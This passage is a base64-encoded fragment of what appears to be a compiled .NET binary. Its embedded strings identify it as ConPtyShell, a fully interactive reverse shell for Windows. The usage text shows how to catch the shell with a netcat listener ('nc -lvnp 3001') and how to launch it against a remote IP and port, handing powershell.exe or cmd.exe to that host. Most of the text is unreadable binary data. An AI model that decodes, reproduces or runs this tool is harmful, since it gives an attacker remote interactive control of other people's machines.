AGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEAIAAzADAAIAA5ADAADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAAoAGMAbQBkAC4AZQB4AGUAKQAgAHcAaQB0AGgAIABzAHAAZQBjAGkAZgBpAGMAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAcwBpAHoAZQANAAoAIAAgACAAIAAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAMQAwAC4AMAAuADAALgAyACAAMwAwADAAMQAgADMAMAAgADkAMAAgAGMAbQBkAC4AZQB4AGUADQAKACAAIAAgACAAIAAgACAAIAANAAoAIAAgACAAIABVAHAAZwByAGEAZABlACAAeQBvAHUAcgAgAGMAdQByAHIAZQBuAHQAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgAHUAcABnAHIAYQBkAGUAIABzAGgAZQBsAGwAIAAzADAAIAA5ADAADQAKACAAIAAgACAAIAAgACAAIAANAAoAAQBgerpMlVhMSZHNM6znTbcnAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgYCAgYYBAABAhgFAAIJGAkLAAYYCQkSEBgJEAkEIAEJCQQgAQIYBSACARwYCCADEhkJEh0cBSABCRIZAgYJBAAAAAAEBAAAwAQFAACABCMAAMACBggEAQAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAA